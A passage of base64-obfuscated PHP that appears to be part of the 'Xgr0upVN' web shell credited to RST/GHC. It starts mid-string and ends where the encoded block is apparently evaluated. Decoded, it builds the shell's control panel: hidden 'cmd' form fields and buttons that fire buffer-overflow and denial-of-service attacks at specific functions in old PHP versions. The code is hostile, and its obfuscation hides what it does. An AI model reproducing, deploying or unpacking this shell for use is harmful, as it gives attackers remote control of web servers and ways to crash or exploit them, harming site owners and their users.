V0oUEhQPDUuMS42LDQuNC40KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbemlwX2VudHJ5X3JlYWQoKV0oUEhQPDQuNC41KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbc3FsaXRlX3VkZl9kZWNvZGVfYmluYXJ5KCldKFBIUDw1LjIuMSknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTgnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW21zZ19yZWNlaXZlKCldKFBIUDw1LjIuMSknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTknKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3BocF9zdHJlYW1fZmlsdGVyX2NyZWF0ZSgpXShQSFA1PDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbdW5zZXJpYWxpemUoKV0oUEhQPDQuNC40KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbZ2RJbWFnZUNyZWF0ZVRydWVDb2xvcigpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtnZEltYWdlQ29weVJlc2l6ZWQoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbaWNvbnZfc3Vic3RyKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdEb1MgW3NldGxvY2FsZSgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBjb2xvcj1yZWQgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczI1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtnbG9iKCldIDEgKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdEb1MgW2dsb2IoKV0gMiAoUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbZm5tYXRjaCgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczI4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtpbWFnZXBzbG9hZGZvbnQoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyOScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBtU1FMIFttc3FsX2Nvbm5lY3RdKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzAnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2NodW5rX3NwbGl0KCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzEnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3BocF93aW4zMnN0aS5kbF0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbcGhwX2lpc2Z1bmMuZGxsXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtudHVzZXJfZ2V0dXNlcmxpc3QoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbY29tX3ByaW50X3R5cGVpbmZvKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ljb252KCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ljb252X21fZF9oZWFkZXJzKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzcnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ljb252X21pbWVfZGVjb2RlKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzgnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ljb252X3N0cmxlbigpXShQSFA8NS4yLngpJykuJGZlKTsNCi8qZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFsoKV0oUEhQPDUuMi54KScpLiRmZSk7Ki8NCmVjaG8gJHRlLiI8L3RkPjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KZWNobyAnPC90YWJsZT4nLiR0YWJsZV91cDMuIjwvZGl2PjwvZGl2PjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5vLS0tWyBYZ3IwdXBWTiAtIHNoZWxsIGJ5IFJTVC9HSEMgfCA8YSBocmVmPWh0dHA6Ly9YZ3IwdXBWTi5Wbj5odHRwOi8vWGdyMHVwVk4uVm48L2E+IHwgPGEgaHJlZj1odHRwOi8vaGNlZ3JvdXAubmV0PkhAY2srQ3JAY2s9RW5qMHkhPC9hPiB8IERlc2lnbiBieTogQWx1Q2FSIHwgdmVyc2lvbiAiLiR2ZXJzaW9uLiIgXS0tLW88L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7'));
6 ?>